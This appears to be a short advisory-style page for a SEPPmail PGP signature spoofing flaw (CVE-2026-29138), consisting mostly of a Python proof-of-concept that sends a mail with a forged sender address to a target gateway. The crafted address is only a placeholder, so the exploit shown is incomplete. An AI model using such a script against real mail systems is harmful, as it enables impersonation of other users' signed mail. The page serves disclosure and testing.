CVE-2026-29138 SEPPmail PGP签名伪造漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-29138: SEPPmail Secure Email Gateway PGP Signature Spoofing Description: This script demonstrates the concept of crafting an email address to claim another user's PGP signature. """ import smtplib from email.mime.text import MIMEText def send_spoofed_poc(target_server, target_port, victim_email, spoofed_sender): """ Sends a crafted email to the vulnerable SEPPmail Gateway. Args: target_server (str): The IP or hostname of the target mail server. target_port (int): The SMTP port (usually 25). victim_email (str): The email address of the victim whose signature is being claimed. spoofed_sender (str): The specially crafted email address used by the attacker. """ # Construct the message msg = MIMEText("This is a test message attempting to spoof the PGP signature.") msg['Subject'] = 'PoC Test CVE-2026-29138' msg['From'] = spoofed_sender msg['To'] = victim_email try: print(f"[*] Connecting to {target_server}:{target_port}...") # Note: In a real scenario, this connects to the vulnerable appliance with smtplib.SMTP(target_server, target_port) as server: server.starttls() # Use TLS if required # server.login(username, password) # Not needed as PR:N print(f"[*] Sending crafted mail from: {spoofed_sender}") server.sendmail(spoofed_sender, [victim_email], msg.as_string()) print("[+] Email sent successfully. Check if the signature is wrongly attributed.") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Configuration TARGET = "mail.example.com" # Replace with target SEPPmail Gateway VICTIM = "[email protected]" # The crafted address format depends on the specific exploit logic (e.g., injection or parsing trick) ATTACKER_CRAFTED_ADDR = "[email protected]" # Simplified for PoC structure send_spoofed_poc(TARGET, 25, VICTIM, ATTACKER_CRAFTED_ADDR)